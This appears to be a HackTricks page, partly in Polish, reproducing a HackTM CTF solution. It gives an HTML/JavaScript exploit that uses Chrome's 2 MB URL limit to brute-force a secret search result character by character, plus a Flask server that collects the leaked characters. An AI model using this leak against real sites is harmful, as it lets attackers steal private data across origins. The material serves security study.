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72 lines
1.4 KiB
Markdown
72 lines
1.4 KiB
Markdown
# URL Max Length - Client Side
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{{#include ../../banners/hacktricks-training.md}}
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Kod z [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
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```html
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<html>
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<body></body>
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<script>
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;(async () => {
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const curr = "http://secrets.wtl.pw/search?query=HackTM{"
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const leak = async (char) => {
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fetch("/?try=" + char)
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let w = window.open(
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curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2)
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)
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const check = async () => {
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try {
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w.origin
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} catch {
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fetch("/?nope=" + char)
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return
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}
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setTimeout(check, 100)
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}
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check()
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}
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const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
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for (let i = 0; i < CHARSET.length; i++) {
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leak(CHARSET[i])
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await new Promise((resolve) => setTimeout(resolve, 50))
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}
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})()
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</script>
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</html>
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```
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Strona serwera:
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```python
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from flask import Flask, request
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app = Flask(__name__)
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CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
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chars = []
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@app.route('/', methods=['GET'])
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def index():
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global chars
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nope = request.args.get('nope', '')
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if nope:
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chars.append(nope)
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remaining = [c for c in CHARSET if c not in chars]
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print("Remaining: {}".format(remaining))
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return "OK"
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@app.route('/exploit.html', methods=['GET'])
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def exploit():
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return open('exploit.html', 'r').read()
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if __name__ == '__main__':
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app.run(host='0.0.0.0', port=1337)
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```
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{{#include ../../banners/hacktricks-training.md}}
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